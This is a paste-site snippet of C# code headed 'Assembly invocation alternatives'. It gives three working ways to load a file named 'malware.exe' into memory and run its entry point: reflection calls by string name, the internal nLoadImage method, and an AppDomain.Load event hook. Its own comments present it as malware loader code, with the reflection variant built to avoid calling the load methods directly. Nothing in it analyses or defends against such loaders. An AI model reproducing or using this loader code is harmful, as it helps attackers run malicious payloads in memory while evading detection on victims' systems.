Assembly invocation alternatives - C#


SUBMITTED BY: emmek

DATE: June 27, 2022, 10:37 p.m.

FORMAT: C#

SIZE: 2.8 kB

HITS: 6451

  1. //Using reflection to call methods by string name.
  2. namespace pg1 {
  3. public static class Program {
  4. public static void Main() {
  5. var filename = "malware.exe";
  6. var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...
  7. Call(typeof(Program), "InvokeEntrypoint", assembly);
  8. }
  9. public static void InvokeEntrypoint(Assembly asm) {
  10. asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
  11. }
  12. //Calls method using reflection, instead of directly
  13. public static object Call(Type space, string name, params object[] argv) {
  14. List<Type> ptyp = new List<Type>();
  15. foreach(var o in argv) {
  16. ptyp.Add(o.GetType());
  17. }
  18. var m = space.GetMethod(name, ptyp.ToArray());
  19. return m.Invoke(null, argv);
  20. }
  21. }
  22. }
  23. //Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)
  24. namespace pg1 {
  25. public static class Program {
  26. public static void Main() {
  27. /*
  28. Get the malware data
  29. */
  30. var data = System.IO.File.ReadAllBytes("malware.exe");
  31. /*
  32. Invoke the internal method _nLoad
  33. */
  34. var assembly = InternalLoad(data);
  35. /*
  36. Execute
  37. */
  38. InvokeEntrypoint(assembly);
  39. }
  40. public static Assembly InternalLoad(byte[] image) {
  41. return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;
  42. }
  43. public static void InvokeEntrypoint(Assembly asm) {
  44. asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
  45. }
  46. }
  47. }
  48. //Using the AppDomain.Load method
  49. namespace pg1 {
  50. public static class Program {
  51. public static void Main() {
  52. var data = System.IO.File.ReadAllBytes("malware.exe");
  53. SetupInvoker(); //call only once, invokes the entrypoint
  54. var assembly = AppDomainLoad(data);
  55. }
  56. public static void SetupInvoker() {
  57. AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {
  58. InvokeEntrypoint(args.LoadedAssembly);
  59. };
  60. }
  61. public static Assembly AppDomainLoad(byte[] image) {
  62. return AppDomain.CurrentDomain.Load(image);
  63. }
  64. public static void InvokeEntrypoint(Assembly asm) {
  65. asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
  66. }
  67. }
  68. }

comments powered by Disqus